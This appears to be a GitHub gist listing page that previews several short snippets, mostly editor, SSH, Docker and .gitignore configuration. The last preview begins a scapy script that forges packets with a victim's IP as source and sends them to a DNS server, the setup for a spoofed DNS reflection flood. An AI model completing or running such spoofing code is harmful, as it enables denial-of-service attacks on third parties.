Referencias:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| // editor | |
| "editor.wordWrap": "on", | |
| "editor.fontSize": 18, | |
| "editor.fontFamily": "JetBrainsMono Nerd Font, Menlo, Monaco, 'Courier New', monospace", | |
| "editor.tabSize": 4, | |
| "editor.bracketPairColorization.enabled": true, | |
| "editor.autoClosingBrackets": "always", | |
| "editor.guides.bracketPairs": true, | |
| "editor.minimap.enabled": true, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /usr/bin/python3.7 | |
| # General imports | |
| import numpy as np | |
| import pandas as pd | |
| import seaborn as sns | |
| import matplotlib.pyplot as plt | |
| # ML Algorithms | |
| from sklearn.neighbors import KNeighborsClassifier | |
| from sklearn.ensemble import RandomForestClassifier |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Django # | |
| *.log | |
| *.pot | |
| *.pyc | |
| __pycache__ | |
| db.sqlite3 | |
| media | |
| # Backup files # | |
| *.bak |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This is the sshd server system-wide configuration file. See | |
| # sshd_config(5) for more information. | |
| # This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games | |
| # The strategy used for options in the default sshd_config shipped with | |
| # OpenSSH is to specify options with their default value where | |
| # possible, but leave them commented. Uncommented options override the | |
| # default value. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| " Enable mouse | |
| set mouse=a | |
| set ttymouse=xterm2 | |
| " Not compatible with Vi | |
| set nocompatible | |
| " Relative line number | |
| set number | |
| set relativenumber |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/bash | |
| ROOTDIR=$1 | |
| if [ -z "$ROOTDIR" ] | |
| then | |
| echo "Voce precisa passar o diretorio raiz como argumento" | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| services: | |
| postgres: | |
| image: bitnami/postgresql:latest | |
| ports: | |
| - "5432:5432" | |
| environment: | |
| - POSTGRES_USER=postgres | |
| - POSTGRES_PASSWORD=my-secure-password | |
| - POSTGRES_DB=database | |
| - TZ=America/Sao_Paulo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Created by https://www.gitignore.io | |
| # Virtual Environments | |
| .venv | |
| ### OSX ### | |
| .DS_Store | |
| .AppleDouble | |
| .LSOverride |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from scapy.layers.dns import DNS, DNSQR | |
| from scapy.layers.inet import IP, UDP | |
| from scapy.sendrecv import send | |
| MAX_PACKET_SIZE = 1500 | |
| target = "x.x.x.x" # Victim IP | |
| server = "y.y.y.y" # DNS IP | |
| ip = IP(src=target, dst=server) |
OlderNewer